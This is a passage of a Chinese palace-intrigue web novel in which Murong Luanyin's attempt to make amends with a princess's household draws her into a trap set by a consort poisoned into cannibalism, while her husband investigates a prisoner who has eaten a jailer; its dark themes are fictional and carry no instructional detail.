“经你一梳理,我也觉得这个法子可行。”慕容韫玉起身,向慕容鸾音伸手,笑道:“走,哥哥送你回国公府找龙大画师去,再有十来日就过年了,顺便问她讨一幅招财进宝的年画。” 慕容鸾音把手搭到他手心里,借力站起来,叹气道:“龙姐姐不在国公府,老公爷给嵘三爷纳回一个良妾,逼迫的他们夫妻偷偷搬出去住了,对外只说龙姐姐回娘家去了。现如今住在长宁坊一座三进的宅子里。” “长宁坊啊,离着咱家不远,乘马车一刻钟的功夫也就到了。” 于是,慕容韫玉当即命人去套车。 却说萧远嵘,自从得了萧远峥的首肯,就和龙姽婳一起搬到了长宁坊居住,过起了一家三口的小日子。 萧远嵘把宅子里最大的正房,布置成了龙姽婳的大画房。 白日里他自去点卯当值,散值归家,就亲自握着煜哥儿的小手教他描红,待得哄睡了儿子,就与龙姽婳一起,赌书消得泼茶香。 因着宅子里只有他们两个主子的缘故,行动处倒比在国公府更恣意。便是房事上,也不怕被人听去了。 这日,龙姽婳为了应付亲朋,就着手准备勾勒年画的画稿,煜哥儿调皮,吵闹着要娘陪玩,萧远嵘就哄他说,带他去玩具铺子挑选玩具,父子俩欢欢喜喜出门去了。 龙姽婳得了宁静,逐渐画入了神,大丫头墨染接连禀报了三次她才听见说慕容鸾音到门口了。 “快请进来。” 第65章 第065章不祥的预感一时,慕…… 一时,慕容鸾音慕容韫玉兄妹随着墨染来到了龙姽婳的大画房,扑面而来就是一股梅香混着墨香的暖气。 龙姽婳听见环佩叮当声,唇角微扬,知道慕容鸾音进来了,头也不抬就笑道:“阿音妹妹你自己找地儿且坐着,容我画完这只观音手就与你叙话。” “好。”慕容鸾音笑应一声就走到画案前,静静看她勾勒观音手。 彼时,龙姽婳穿着一袭红梅吐艳的白锦襦裙,两臂缠着襻膊,长睫低垂,眉眼如画。 慕容韫玉望去一眼,时至今日,竟仍有些悸动。想当年,他也曾向她提过亲的,奈何他做不到事事以她为先,常伴她游览名胜古迹,这才败给了萧远嵘。 “哥哥,你发什么呆,龙姐姐叫你过来喝茶。” 慕容韫玉连忙回过神来,却见慕容鸾音和龙姽婳已离了画案,在西次间梅花茶桌处坐定了,两双美目皆戏谑的看着他。 慕容韫玉尴尬一笑,连忙走向炭盆,在铜罩子上张开两手就道:“你们说你们的,我烤烤手。” 慕容鸾音和龙姽婳相视一笑,便不再理他。龙姽婳就道:“你闻到了吧,你送我的冷梅香饼子我用上了,各家铺子的梅花香我都试过,不是香气浓杂,就是寡淡无味,终是你亲手制的这冷梅香,清冽淡雅,最合我心意。” “得闲我再为你制一匣子。”慕容鸾音紧接着就道:“龙姐姐,我不与你绕弯子,我爹爹被庆和大公主府的人当街羞辱的事情,你可听说了?” 龙姽婳懵然摇头,“竟有此事?” 慕容鸾音知她向来是两耳不闻窗外事,当即把慕容文博被当街揪出马车,砸碎家主玉佩的事情说了一遍,还把慕容文博得了痴呆病的事情也告诉了一回。 “龙姐姐,我今日来寻你,一则是想向你打听一下你姑表妹华云岚是个什么脾性,庆和大公主府府内是什么情形;二则是想请你替我写个拜帖,我想亲自登门解开误会,若她的儿子病愈了,我就只诚心道歉,若还病着,我想将功补过,为其治病。” 龙姽婳听后,脸色沉凝,看着慕容鸾音就道:“怎么偏偏是涉及她儿子的事情,你是不知,她虽性情随和,待人和善,但却有逆鳞,那就是她儿子。” 慕容鸾音心弦一绷,连忙道:“孩子都是母亲的宝贝,我明白。” 龙姽婳摇摇头,轻叹道:“你不明白。那孩子不只是云岚的宝贝,那就是她的命根子。前年她怀了一胎,都九个月了,摔了一跤摔没了,还险些要了她的命,太医说伤了宫胞,往后再孕育子嗣的机会渺茫了,她嫁的是庆和大公主的独子,庆和大公主岂能容许独子绝嗣,便要给杨惠风纳妾,杨惠风起初不愿意,但庆和大公主是个霸道跋扈的性子,又是他母亲,他也争不过,就百般哭求,再给他们三年,三年后若云岚果真怀不上,再纳妾。” 慕容鸾音听到这里,一颗心就沉了下去,苦着脸道:“我这回明白了。” 龙姽婳见她神情愁苦,仍旧接着道:“谁知,老天垂怜,今年年头上就有了喜讯,于十月上生下一个男孩,上个月我还去公主府喝了满月酒,云岚他们夫妻把那孩子看的眼珠子似的。而大公主,也是个看重孙儿的人,不只对眼前这个大孙子百般疼爱,便是上一个摔没了的,听云岚说,大公主跪求了陛下,在般若寺塔葬林起了一座小塔,把那个小小的尸骨供在了塔内,让其与般若寺历代高僧舍利为伴。大公 主其人,虽有些靡浪多情的名声,但也真真是个慈爱的祖母了,云岚说,她亲眼看见过,大公主割破手指滴血在砚台里,用自己的血为那没福气的孩子写往生咒。” 慕容鸾音听完,脸色泛白,“怪不得,原来爹爹怠慢延误的是人家大公主的命根子。” 慕容韫玉踱步走到茶桌旁,叹气道:“阿音,你也听见了,事情不是你想的那般简单,你还要继续吗?那可是当朝最尊贵最得宠的嫡长公主,依着我,咱们家就夹起尾巴,吞下这个苦果算了。” “那就更该诚心诚意的解释清楚了。”慕容鸾音攥紧拳头道:“哥哥你想啊,若是任由这个疙瘩系死,待得将来某一日,大公主心气不顺,想起被咱们家怠慢的事情,会不会冷不丁给咱们家来一下子?她是尊贵得宠的嫡长公主,她降下一个绊子,于咱们家而言,说不得就是一件大祸事了。” “你顾虑的是。”龙姽婳当即就吩咐墨染去拿一张她自己的拜帖来,转头就对慕容鸾音道:“你说,我来写,把前因后果写成一封信,夹在我的拜帖里,我帮你送到云岚手中。” 慕容鸾音自是感激不尽,趁着龙姽婳起身去找信纸的功夫连忙打起腹稿来。 慕容韫玉也觉慕容鸾音顾虑的是,赶忙帮衬着磨墨。 半个时辰后,信件写成。龙姽婳原要派遣墨染去送,慕容韫玉想着,若是拜帖和信送进去了,华云岚杨惠风夫妻得知了事情始末要召见,他也好当面去陈情赔罪,便和墨染一同去了大公主府。 慕容鸾音在龙姽婳这里坐等着,看着她作画,不知不觉一幅宝光观音就勾勒成了,只待填了色就能挂到墙上。 少顷,忽听得窗外传来欢欢喜喜的喊娘声,紧接着一个头戴五彩虎头帽的男童就拱了进来,“娘、娘,看爹爹给我买的弹弓。” 一边说着话一边就跑到龙姽婳面前拽她的裙边红绶带,高高举起鎏金弹弓,一定要龙姽婳低下头来看才罢休。 龙姽婳无奈叹气,低下头来,笑着在煜哥儿眉心勾勒出一个火焰纹,佯怒道:“快去拜见大伯母。” “拜见大伯母,大伯母安康如意。” 慕容鸾音笑应了,疼爱的摸摸他的头。 一时萧远嵘也进来了,与慕容鸾音相互见礼后,就转身笑望着龙姽婳道:“方才经过颜料铺子,我们父子进去逛了一圈,瞧见一套十二色的彩绘宝匣十分好看,就给你买回来了,约莫半刻钟后就给送到家来。” “你瞧瞧我那专放颜料的亮格柜上可还塞得下?” 萧远嵘笑道:“再买一对柜子便是。不知怎的,瞧见了好颜料就想为你买回来。” 慕容鸾音听见他们夫妻的对话,心生艳羡,又见煜哥儿倚在龙姽婳腿上鼓捣新得的弹弓玩,忽想起梦境中自己的宝哥儿来,满腔的艳羡都化作了酸涩,在这一刻她忽的明白了自己,嘴上说着要和萧远峥生下嫡长子,可内心深处是畏惧不愿的,一则是生怕再生出一个宝哥儿来,二则是白玉京还没有彻底铲除,危机四伏,她不想生出孩子来担惊受怕。 是不是正因如此,才迟迟怀不上? 正愣神呢,墨染急匆匆的回来了,开口就道:“世子夫人,不好了,慕容大爷被杨大爷泼了一桶臭泔水。” 慕容鸾音“腾”的一下子站起来,向她身后看去,急切道:“我哥哥现在在何处?” “慕容大爷说自己一身脏污不能看了,先回家去清洗,让奴婢回来告诉您一声。” 慕容鸾音又急又怒,跺脚道:“究竟怎么回事?!” 墨染连忙道:“慕容大爷和奴婢到了大公主府侧门,奴婢打着我们姑娘的旗号把拜帖送进门去了,过了一会儿先是有个人露出头来问我们是谁,慕容大爷就如实告诉了,稍后杨大爷就怒气冲冲提着一桶臭泔水走了出来,泼了慕容大爷满头满身,放下话说‘我不去找慕容文博偿命就罢了,你慕容韫玉竟腆着脸送上门来恶心我,要不是看在萧氏的面上,泼的就不是泔水而是火油’。杨大爷扔下这一句,就让下人把门关上了。” 慕容鸾音听的心惊肉跳,想到自己在信中写的内容,一则是诚心致歉,解释慕容文博不是故意怠慢了大公主府,而是生了忘事的重病;二则是说自己继承了慕容氏的金针术,若有需要效劳的,尽管召了她去诊治。 从始至终,都是歉意和诚意,万万不敢有一个字的冒犯,为何却得了这样的羞辱? 但此时她什么都顾不得了,哥哥是个出门巡视铺子都要带着自己浴桶的人,如何受得住一桶臭泔水。想到此处,慌忙撞开门帘,向外疾奔而去。 庆和大公主府侧门半敞,有两个小厮在清洗地面。 府内正院,一个贵妇人正半卧在美人榻上,头戴五翅金凤冠,穿着凤穿牡丹大红织金袍,在她身后跪坐着一位光头缁衣的僧人,面容秀丽,正在为贵妇人捏腿。 就在此时,卷帘的婢女低着头进来禀报道:“殿下,驸马在院外求见。” 庆和大公主一听,享受的神色一僵,缓缓睁开了眼睛。 “慧悟,你且退下。” 僧人捏腿的动作一顿,低眉顺眼离开美人榻,绕过屏风纱幔往后院去了。 僧人的身影才消失在纱幔后,杨虬就施施然走了进来。 但见他锦帽貂裘,姿仪万千,黛眉雪肤,挺鼻朱唇,潘安卫玠也不过如此了。 庆和心酥如棉,忙忙坐起来,招手让他与自己同坐,摸着他脸道:“可是好些了?” 杨虬黛眉一蹙,桃花眼滴下泪来,“殿下,罪孽深重之人不敢言‘好’,虬想寻求解脱,恳请殿下赐死。” 庆和痴痴的抚摸着他的脸,“我舍不得你,再让我多拥有你一些时日如何?” “前年殿下也是这般说的,我遵从了,服下后虽有奇效,可清醒后我痛不欲生。”杨虬把庆和的手拿下来,握在自己手里,哭道:“我也不愿意殿下再为我作孽。为了我这恶鬼附身一般的病,我自己翻阅古籍时,发现有一种针灸术,叫做‘鬼门十三针’,专治鬼祟癫邪之病,可惜失传了,我又打听到,现如今最精通针灸术的是慕容氏,我想请殿下为我请来,做最后一试,治好了我便与殿下恩爱白头,若仍旧治不好,恳请殿下赐死。” 话落,杨虬一边紧握庆和的手,一边跪到脚踏上。 庆和神色一冷,抽出手来去端酒樽,“你发了病,把自己关在祈月楼内,许是不知,前几日我才命人羞辱了慕容文博一顿,就在半个时辰前,慕容大郎又亲自上门赔罪又被惠哥儿泼了一桶泔水撵走,这会儿你却想让我请来慕容家的人给你治病,岂不是让我自打脸?” 杨虬悲痛落泪,凄声道:“惠哥儿被蒙在鼓里,他以为小大郎之死,真是慕容文博耽误的,殿下心里难道不清楚吗?既然已经让他背了锅,作甚又去羞辱人家一顿。” “我都是为了谁?!”庆和猛地将酒樽掷于地,怒声喝问。 “自然是为了给我治病。我也明白,殿下是为了做戏做全套,免得惠哥儿夫妻起疑。我都明白的……” 话落,杨虬自大袖中掏出匕首来,就向自己颈动脉划去。 庆和眼疾手快,一把握住杨虬手腕,惊怒道:“没有我的允许,你自戕试试,你前脚死,后脚我就覆灭你杨家满门!” 杨虬拂开庆和的手,自己把匕首扔到一旁,悲怒交加,泣泪如雨,“敢问殿下可曾真心爱过我?” “你还要我如何爱你,为了治你的病,我连、连亲孙儿都……”庆和怒红双眼,喉头哽住,没能说出后半句话来。 杨虬爬着去把匕首捡回来,两手捧着递到庆和面前,哭道:“既然爱我,便不要让我生不如死的活着。我已成了人不人,鬼不鬼的怪物,能死在殿下手中,死也瞑目。” 庆和一把抓起匕首扔的远远的,又把杨虬搂到怀里,心疼道:“事已至此,我便告诉你实话吧。若那慕容氏金针术 真能治你的病,我纡尊降贵亲自去请也甘愿。但,我心里知道,慕容氏九成九治不好你的病。” 杨虬不解的看向庆和,“殿下怎知?” 庆和疼惜的抚摸杨虬的脸,哀叹道:“我说与你,你要守口如瓶。” “殿下说完,即刻杀了我,我才高兴。” “休得胡说。”庆和便搂着杨虬道:“你这病,我弟弟也得过。” 杨虬震惊,“嘉、嘉懿太子?” 庆和轻点头,“外头人只知道嘉懿太子是暴病而亡,可我却秘密探知到,他是得了‘吃人’的病,就和你这病是一样的,我还知道,是有个妄图左右国本继承的邪教下的毒,故此,我从一开始就知道,你不是得了病,而是中了邪教的毒,说不得还是我这嫡长公主的身份连累了你。” 杨虬慌乱垂下眼,“原来、原来是这样……” “说是暴病而亡,可我揣测应当是父皇想尽一切办法之后,发现解不了这毒,迫不得已把我弟弟杀了。而那慕容文博就曾经被秘密召进东宫过,因此我怕找来慕容文博给你治病,你就暴露了,若被父皇知道,你就活不成了。” 杨虬听完,忙忙的又从袖中掏出一封信来,“殿下,我从惠哥儿那得了这封慕容氏女写给儿媳华氏的信,慕容文博仿佛得了手抖忘事的病,他捏不得金针了,现如今继承慕容氏金针术的是慕容文博的长女慕容鸾音,我想请她来给我治病试试,若治不好,我死心了,也请殿下成全我求死之心。” 话落,又掏出帕子来擦眼泪,擦着擦着把眼角的粉都擦去了,露出了些许细纹。 庆和瞥去一眼,叹息道:“你也上了年纪了。” 杨虬垂首低眉,颤声道:“是。” “你自去安排吧,让冯嬷嬷去请。” “是。” “为着你,我再尽心也没有了。” “是。” 却说慕容鸾音得知慕容韫玉被泼了臭泔水,着急忙慌赶到家,直奔哥嫂的院子,就见满院子乱糟糟的,众多仆婢提着热水桶送到厢房廊下,便有屋内服侍的大丫头接手,提了进去,又把空水桶送出来交给粗使的拿走。 潘素馨抱着月姐儿在正房廊下来回踱步,忧容满面,甫一瞧见慕容鸾音进来了,立时站住脚,把哭啼的月姐儿交给奶娘就冷声吩咐道:“抱到后花园去,凭她哭死,我不去抱她,你不许抱到我跟前。” 月姐儿离了亲娘的怀抱,顿时哇哇大哭。 奶娘无措道:“姐儿嗓子稚嫩,若放任不哄,哭哑了可如何是好?” 彼时慕容鸾音已经到了潘素馨跟前,连忙道:“嫂子自去帮着哥哥清洗便是,我来哄月姐儿。” “怎敢劳烦‘家主’您呢。” 慕容鸾音听出她语气里的阴阳怪气,一霎怔住,“嫂子这是何意?” 潘素馨把奶娘撵走,待得月姐儿烦人的哭声远去,顿时就冷着脸道:“没什么意思,只是您自称要做家主,我自然要敬着,若还像从前似的待你,你这家主岂不是‘有名无实’。” 慕容鸾音听出她句句不离“家主”二字,心中隐隐明白过来,当即解释道:“嫂子放心,在这个家里面,我顶替的是爹爹的位置,爹爹支撑起来的仅仅是慕容氏的医术,我也是,至于家里的药铺生意,依旧是哥哥做主,从前怎样,我做了家主,依旧怎样,不会有任何改变。” 潘素馨听罢,怒从心底起,抬手指天就道:“我若是怕你分去家里财产,就让老天爷降下一道雷来劈死我!” “嫂子不为这个,那又是为何?” “是你口口声声要挽回慕容家的名声,可为何被泼了臭泔水的是你哥哥,不是你?!你不是家主吗?为何不是你亲自登门道歉,反而指使你哥哥去,受此奇耻大辱?!” 慕容鸾音被气急的潘素馨逼下石阶,满面怔愣,哑口无言。 潘素馨高高站在台矶上,红着眼眶怒视慕容鸾音,“你只会嘴上说要做家主,可你娇生惯养,任性妄为,你知道如何做好一个家主吗?你知道一个家主要承担些什么吗?!你爹娘,你哥哥,一味地宠惯着你,些些小事上,我也乐得学他们。可我万万没想到,像是做家主这样关乎一族兴亡的大事,他们竟也纵容你过家家!” 慕容鸾音被凶哭了,慌忙解释道:“嫂子,我绝不是过家家……” “我不过高声说你两句,你就哭了,哪家的家主是你这样的?!他们娇宠着你,不忍训诫,可今日宁愿你哥哥休了我,我也要说出来揭穿你!” 潘素馨睥睨着下方的慕容鸾音,冷冷道:“何为家主?那就是,家族遇到大事的时候,立在前面挡风遮雨的领头羊。可是你呢,未出阁时,祖母护佑着你,为你谋嫁高门,铺好后路。嫁人后,有萧世子宠爱着,给予你世子夫人的尊荣。在婆家受到些许的冷待,就闹着和离,又想回到娘家来做家主。你哥哥宠爱你,愿意两手奉上家主的虚名哄你高兴,可你扪心自问,你的医术真就高超到能支撑起慕容家‘神医圣手’的名声吗?你长到这么大,都是被庇护宠爱的那一个,你何曾真正面对过外面的风刀霜剑!你做家主,你连亲自去人家府门口道歉的勇气都没有,生怕辱没你世子夫人的尊荣!既要这个,又要那个,你真当自己是天仙神女不成?!” “我、我没有……” “你住嘴!” 就在这时,慕容韫玉披着一件孔雀蓝鹤氅从厢房快步走了过来,瞧见慕容鸾音脸色苍白,就怒瞪潘素馨,却见妻子泪眼滂沱,殷殷关切,一霎满心的怒火都憋在了喉咙处。 “你、你看孩子去吧。” 潘素馨转脸盯着慕容鸾音,道:“随她多哭两声还能怎得,过分的宠溺未必是好事。” “潘氏,你今日鬼上身了不成?!” 潘素馨又看向慕容韫玉,但见他发尾结冰,冻得嘴唇泛紫,克制着心疼,咬牙继续道:“好歹让我痛快说完,说完了,休了我也随你。依我说,公爹被大公主羞辱这个事儿,原本就是我们理亏在先,那家主玉佩砸了就砸了,大公主出了气,就不会再找咱们家麻烦,作甚再去人家府上讨嫌,再惹出了大公主的气恼来,谁顶上去受辱,还不是你,你不心疼自己,我心疼!公爹的安排就极好,索性把‘神医圣手’的匾额摘下来,大家做缩头乌龟,求一个平平安安!” “你闭嘴!” 慕容鸾音惊见慕容韫玉抬手欲打潘素馨,连忙抱住他的胳膊。 潘素馨却哭道:“你打!你怕我欺负了你妹妹,头发滴着水就跑出来护着,这会儿都冻上了,她可曾看见,可曾心疼你!你得了头疼脑热,还不是我服侍你!” “嫂子,你的意思我明白了。”慕容鸾音连忙道:“哥哥,你赶紧再进去洗个热水澡,把头发绞干了再出来。嫂子一心为你,可不能打。我到花厅等你,咱们再说话。” 话落,落荒而去。 这一路往花厅,慕容鸾音仿若神游一般,若非碧荷搀扶着,不知要跌倒几回。 碧荷接过丫头送上来的茶,捧到慕容鸾音面前,就开始劝解,“姑娘,大奶奶是看着大爷受辱,她心疼了,这才说了几句重话,您不要往心里去。” 慕容鸾音一时无言,轻轻摇头。 碧荷便把茶盏放到香几上,使唤丫头去拿手炉。 “在龙姐姐那里,当哥哥说要和墨染一道去送拜帖的时候,我不觉得什么。可方才被嫂子奚落一顿后,我才惊觉,哥哥事事护在我前面,我是习以为常的。嫂子说的对,我既然口口声声要做家主,就本该是我亲自登门才对。若是我亲自登门,我有郧国公府世子夫人的头衔在,那杨惠风应该不会直接泼臭泔水吧?” 碧荷叹气道:“谁又能想到呢。” 慕容鸾音话出口后就呆怔在那里,片刻后,脸蛋灼烧,苦笑起来,“真可谓旁观者清,嫂子意指我放不下世子 夫人的尊荣,也是一针见血。却原来,我说了那么多次和离,内心里就是仗着他舍不得我罢了。我还是、还是虚荣的,就像祖母曾经亲口问过我,是想成为慕容家医术的继任者,还是嫁去郧国公府,成为高门贵妻,我毫不犹豫就选择了成为他的妻子,明面上,我是满心爱慕他,所以一定要嫁他,可暗里面也是因为我慕荣华。” “谁不贪慕荣华,难道姑娘对世子爷的一腔真情是假的吗?姑娘钻了牛角尖了。” “可是,嫂子一席话让我明白,鱼和熊掌不可兼得,我既然说要做家主,往后就要事事顶在前面。” 就在这时,有丫头来传话,庆和大公主府派了一位女官嬷嬷来请出诊。 慕容鸾音一听,喜出望外,以为是柳暗花明,更兼之想要证明自己有勇气顶在前面,立时就吩咐碧荷背上医箱,点齐赵荆阎大忠随扈,登车往大公主府去了。 待得慕容韫玉更衣梳头毕,听到大公主府来人请出诊,慕容鸾音已经登车去了的消息,又想到那杨惠风要他偿命的那番狠话,心生疑窦,右眼皮狂跳不止,想到为今之计,唯有萧远峥能护住慕容鸾音不受辱,忙忙的骑马出门去了。 却说萧远峥,得知大理寺狱中有要犯出了问题,就快马加鞭去了大理寺。 彼时,孟凡尘和胡狸已等在大理寺狱门口,甫一瞧见萧远峥赶到,就双双上前躬身作揖,随后就把萧远峥引到了大狱的最深处。 最深处牢房内只关押了一个重刑犯,那就是玉在山。 此处黑暗无光,只每日狱卒挑着灯来送饭时,才有光亮。 这会儿,却是挪来两座塔形灯架,把此处照的灯火通明。 铁笼之内,玉在山浑身脏污,散发恶臭,正抱着自己的左臂在啃食,整个小手臂没了,一双脚也没了。 孟凡尘和胡狸站在门旁两边,一左一右高高挑着布帘子,孟凡尘咽下一口口水就道:“大人,您看到了吧,这玉在山在啃食自己,他、他不是人了。” 萧远峥举步入内,靠近铁笼,玉在山蠕动的腮帮子一停,猛地抬起头,露出一双殷红邪性的眼睛来。 萧远峥心生惊骇,面上不动声色问道:“究竟怎么回事?” 孟凡尘不敢入内,躲在门外道:“此事、此事还要从一个叫周锅盖的狱卒失踪的事情说起,他是负责给犯人送饭的狱卒之一。也不是,还要从玉在山被关在此处,日夜哭嚎吼叫说起,因着狱卒们都知道他疯了,故此他日夜哭嚎吼叫就没人在意,只遵上面吩咐把他吼叫出来的只言片语如实记录。后来这玉在山就安静了,狱卒们乐得耳朵清净,越发无人在意,不久后就有个狱卒嘀咕说大狱里老鼠减少了,还问同僚是不是谁撒了老鼠药。再后来,发俸禄的时候,牢头就发现少了一个狱卒。” 这时,萧远峥猛地发现,玉在山身上穿的不是麻布囚服,而是一件破烂的赭色长袍,赭色粗布长袍乃是狱卒的公服。 萧远峥立时得出一个惊悚的推断来,不死心的问出口,“他身上的狱卒公服哪来的?” 胡狸猛咽一口口水,白着脸道:“我们遍寻不着狱卒周锅盖,悚然发现玉在山身上多了一件狱卒公服,关押他的铁笼子里多了一滩血迹,待得我们又发现玉在山连自己也吃以后,我们推断出,周锅盖极有可能在给他送饭,靠近铁笼时,被他制住,而后被、被神不知鬼不觉的吃了。” 萧远峥倒吸一口凉气,“人体骨头极其坚硬,他总不能把骨头也吃了,骨头呢?” 就在这时,笼子内的玉在山仿佛认出了萧远峥,一面发出怪笑声,一面挪开屁股,用手刨了刨屁股下的泥土,就刨出一根骨头来,高高举起,递向笼外。 那是一根人体胫骨。 萧远峥蓦地闭目,再睁眼时,冷落寒霜,“狱卒周锅盖以身殉职,稍后你们收敛他的尸骨厚葬,至于抚恤银……孟少卿,稍后你把周锅盖家中情况写成折页交给我,待得我向陛下禀报玉在山的罪行时,一起呈上。” 孟凡尘连忙应“是”。 “玉在山疯了以后,可又吐露出什么?” 孟凡尘连忙把挂在门外墙上的记录册子摘下来,两手捧着恭敬递给萧远峥,“都在这里了。” 萧远峥翻开一看,就只见上面反反复复写着几句话: 我要吃人! 杀了我! 求求你们了,给我人肉吃! 杀了我!杀了我!求求你们杀了我! 羊、球,羊球!羊球!羊球! 萧远峥心想,从玉在山的症状看,他应该也是吃了长生丹,中了毒,所以他吼叫着吃人,而这些狱卒只以为这是发疯之人的疯言疯语,只做记录,没放在心上。可这羊球是什么意思? “孟少卿,这是何意?” 孟凡尘额上冒汗连忙道:“这册子上,都是狱卒们听玉在山的吼叫,如实记录的,连成一句话的还好分辨,单个的模糊的词,例如这羊球二字,是狱卒听音胡乱对应上的两个字,实在不知是什么意思。” 萧远峥皱眉沉思,没言语。 就在这时,牢头来禀报道:“萧大人,您的小厮观棋来传话,说是您的舅兄慕容大爷正在大门外候着,有要命的急事相求。” 萧远峥听了,不知怎的就生出不祥的预感来,扔下记录册子,大步流星向外奔 第66章 第066章原来是你待…… 待得萧远峥疾步奔至大理寺门外,就见慕容韫玉正扶着石狮子连打两个喷嚏。 “可是阿音出事了?” 慕容韫玉拿帕子擦擦鼻子,听见他声音发颤,连忙安抚道:“你先别急,她带了你给的那两个长随去的。” 萧远峥一听,颤栗的心脏稍安,拧起剑眉,冷冷道:“你最好真有要命的急事求我。” 慕容韫玉又打一个喷嚏,才急忙道:“我想着性命是无碍的,就怕会受辱,唯有你去才能从大公主府上把阿音捞出来。事情是这样的,我今日去大公主府上道歉,被她独生子杨惠风泼了一桶臭泔水,他还通红着一双眼睛扬言让我偿命,随后我回家清理沐浴,就在我沐浴的时候,大公主府上偏偏又来了个冯嬷嬷,请阿音出诊,阿音就带着碧荷,赵阎二人急匆匆去了。可我在沐浴的时候却想不通,怎么就到了要我慕容家偿命的地步呢?难不成他家的小大郎出事了?若果真如此,许是羞辱了我还不解气,这才又把阿音诓骗了去。因此,我急急忙忙来寻你去解救。” 萧远峥听完,脑海中关于大公主府的讯息一一浮现出来。大公主楚鸣凤,跋扈霸道,放浪形骸,名声不佳,只与驸马杨虬育有一子杨惠风…… 想到此处,萧远峥忽的浑身僵直起来。大驸马杨虬,多年前就以得了怪病为由闭门不出,外人都嘲笑他是因为绿云罩顶,才没脸见人。而大公主却以为驸马祈福驱病为由,在北郊办了一所悯老院,一所慈婴园,收容孤寡老人和弃婴。 杨虬、羊球、杨虬、弃婴……玉在山吃人,难不成是杨虬供给的?若果真如此,杨虬必是白玉京的邪教徒! 想到此处,萧远峥心肝俱颤,“阿音出事了!” 一边说着,一边解开慕容韫玉拴在石柱上的缰绳,翻身上马,疾驰而去。 慕容韫玉眼睁睁看着萧远峥的脸在一瞬间变得煞白,又疾驰而去,呆愣了一下,浑身颤抖,“不会的、不会的……” 这边厢,慕容鸾音已被那冯嬷嬷领到了公主府内仪门外。 “慕容夫人,过了这道门就 是内院了。” 慕容鸾音连忙对赵荆阎大忠道:“你们二人在此等候。” 赵荆拱手道:“还请夫人不要在内院逗留,诊过病人后速速出来与我们二人会和。” “好。” 冯嬷嬷迈过门槛,站在仪门内焦急的催促道:“慕容夫人,恳求您脚程再快些,我们小公子腹痛的厉害。” 慕容鸾音连忙带着碧荷跨过门槛,跟上那冯嬷嬷,禁不住问道:“怎么这样急,难不成你们府上一个太医也没有?” 冯嬷嬷脚步一顿,越发加快,边走边道:“请过了请过了,可那些太医都说,我们小公子许是肠绞痛,这般的急症,唯有施以慕容氏的金针才有奇效,这才又派我去亲自把您请了来。” “那倒是。”慕容鸾音为了跟上那冯嬷嬷,只得小跑起来,喘着气道:“可我、可我也得跟您说实话,这是我头一次给不满百日的小儿、小儿治病……” “不要紧,您治就是。” 碧荷背着医箱缀在后面,脚步轻快,呼吸平稳,赶上去搀扶着慕容鸾音一条胳膊就喊跑在前头那冯嬷嬷,“您老人家慢些,慢些。” 待得进了一条偏狭的夹道子,那冯嬷嬷终于慢了下来。 慕容鸾音主仆这才警觉起来,扶着小红门门框子不走了。 “冯嬷嬷,这是通向华大奶奶院子的道路吗?” 冯嬷嬷连忙赔笑道:“您放宽心就是,过了前面那道宝瓶门,就是祈月楼,华大奶奶就住在那里,不瞒您说,大公主对华大奶奶不满,若非大爷疼着护着,早就休出门去了,连这偏僻处的祈月楼也住不得。” 慕容鸾音听了,这才又跟上,笑道:“你们华大奶奶是我一个妯娌的亲表妹,她也和我提过一嘴,和你说的对上了。” 冯嬷嬷暗暗松口气,忙忙的把慕容鸾音主仆送到了宝瓶门,正有两个白净清秀的小厮等在那里。 “星奴、月奴,慕容夫人我就交到你们手上了。半个时辰后,我还来这里接了,恭敬送出门去。” 慕容鸾音一听,就把心放回了肚子里。宝瓶门内,垂柳碧溪掩映着一座精致的小楼阁。 随着两个小厮入得楼内,便见厅堂上垂下了一帘玫红色纱幔,纱幔上映着一道端坐的倩影。 慕容鸾音以为那就是华云岚,连忙福身见礼。 帐内人坐在那里一动不动,两个呼吸后才出声道:“上茶。” 慕容鸾音听见是一道男声,脸色顿变,吓的往后退了一步,靠在碧荷身上,“你不是华云岚,你是谁?诓骗我来想做什么!你当知道我的身份,若敢对我不敬,萧远峥不会放过你!” 杨虬柔声道:“慕容夫人莫惊惧,我请你来,自然是为了治病,原本是要请你父亲的,但是你夹在拜帖里写给我儿媳华氏的信,我看过了,得知你父亲得病不能再施针,而今是你承继了慕容氏的金针术,故此请了你来。” 这时月奴捧着一盏清茶走向慕容鸾音,腼腆赔笑道:“请慕容夫人用茶。” 慕容鸾音当即就道:“我用不惯别人府上的茶具,这会儿也不渴,拿下去吧。” 月奴僵站在那里,禁不住看向映在帐幔上的人影。 “慕容夫人既然不喝,你就拿下去吧。”杨虬一边说着,一边往手畔香炉里倾倒了一捧香粉,“还请慕容夫人上前来为我号脉。” 慕容鸾音冷笑一声,淡淡道:“驸马爷许是对别的医匠随意驱使惯了吧。我来贵府出诊是为弥补父亲的过失,为得了肠绞痛的华氏子治病。况且,我也不是太医,没有为皇亲权贵诊病的职责,我只凭喜好行事,既然见不到华氏子,告辞。” “慢着。”杨虬佯装咳嗽一声,柔声道:“慕容夫人误会了。一则,我知你是萧世子之妻,并非寻常医匠,故此绝没有随意驱使之心,也是为了你的名声考量,才以小大郎的名义请了你来,并非故意诓骗;二则,小大郎已经死了。” 慕容鸾音唇瓣微张,“什么?!” 杨虬把放在香炉旁边的斗方杯拿在手里,摩挲着杯沿,继续道:“三则,小大郎之死,致使大公主恨毒了你们慕容氏,正暗地里酝酿着覆灭你们,是我拦在前头,为你们求了情,大公主放出话来,若你能治好我的病就功过相抵,不再追究。那么,慕容夫人,你现在愿意为我诊病了吗?” 慕容鸾音既震惊又愤怒,攥着拳头道:“怎么、怎么能全怪责于我们家呢,总不至于,那日只请了我父亲一个太医吧。” 杨虬面无表情道:“这样吧,我让月奴把你领到大公主面前,你到大公主面前强势辩解一番如何?” 慕容鸾音顿时生怯,大公主跋扈霸道之名满京城都知道,她若去了,无异于往刀口上撞。为今之计,只能吞下这个苦果,以化解这场冤仇为要。想到此处,便软声道:“罢了。我不会悬丝诊脉,还请驸马爷出来一见。” “我这病不能见光。月奴。” 侍立在侧的月奴当即去搬了一个绣墩来,隔着帐幔放在了杨虬面前。 “慕容夫人,请坐于此处为我们驸马爷诊脉。” 月奴说完就退避了出去。杨虬从帐幔缝隙中把自己的右手伸了出来。 那是一双纤细修长,却异常惨白,青筋历历可见的手。 慕容鸾音见状,不敢托大,立时上前坐定,调息后就搭上了他的脉搏。 “如何?” 慕容鸾音气笑了,“您的脉息强劲有力,这可不是生病之人的脉象。” “是吗……”杨虬死寂的眼中浮现讥笑,“可我发病时,全身骨骼奇痒,似有虫子在血肉里钻来钻去,又仿佛被恶鬼夺舍,满脑子里就想着吃人。” 刹那,慕容鸾音瞳孔骤缩。 与此同时,杨虬摔杯为号。 